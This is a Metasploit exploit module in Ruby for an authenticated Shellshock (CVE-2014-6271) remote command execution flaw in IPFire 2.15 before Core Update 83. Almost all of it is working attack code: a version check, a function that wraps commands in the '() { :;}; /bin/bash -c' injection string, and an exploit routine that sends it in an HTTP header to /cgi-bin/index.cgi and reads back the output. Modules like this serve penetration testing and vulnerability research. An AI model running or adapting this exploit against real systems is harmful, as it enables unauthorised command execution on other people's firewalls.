IPFire Bash Environment Variable Injection (Shellshock)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient

  Rank = ExcellentRanking
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'IPFire Bash Environment Variable Injection (Shellshock)',
        'Description' => %q{
          IPFire, a free linux based open source firewall distribution,
          version <= 2.15 Update Core 82 contains an authenticated remote
          command execution vulnerability via shellshock in the request headers.
        },
        'Author' => [
          'h00die <[email protected]>', # module
          'Claudio Viviani' # discovery
        ],
        'References' => [
          [ 'EDB', '34839' ],
          [ 'CVE', '2014-6271']
        ],
        'License' => MSF_LICENSE,
        'Platform' => %w(linux unix),
        'Privileged' => false,
        'DefaultOptions' => {
          'SSL' => true,
          'PAYLOAD' => 'cmd/unix/generic'
        },
        'Arch' => ARCH_CMD,
        'Payload' => {
          'Compat' =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic'
            }
        },
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2014-09-29',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [],
          'Reliability' => [],
          'AKA' => ['Shellshock']
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
        OptString.new('PASSWORD', [ false, 'Password to login with', '']),
        Opt::RPORT(444)
      ], self.class
    )
  end

  def check
    begin
      res = send_request_cgi(
        'uri' => '/cgi-bin/index.cgi',
        'method' => 'GET'
      )
      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
      /\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body

      if version && update && version == "2.15" && update.to_i < 83
        Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable")
      else
        Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end

  #
  # CVE-2014-6271
  #
  def cve_2014_6271(cmd)
    %{() { :;}; /bin/bash -c "#{cmd}" }
  end

  def exploit
    begin
      payload = cve_2014_6271(datastore['CMD'])
      vprint_status("Exploiting with payload: #{payload}")
      res = send_request_cgi(
        'uri' => '/cgi-bin/index.cgi',
        'method' => 'GET',
        'headers' => { 'VULN' => payload }
      )

      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
      /<li>Device: \/dev\/(?<output>.+) reports/m =~ res.body
      print_good(output) unless output.nil?
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end
end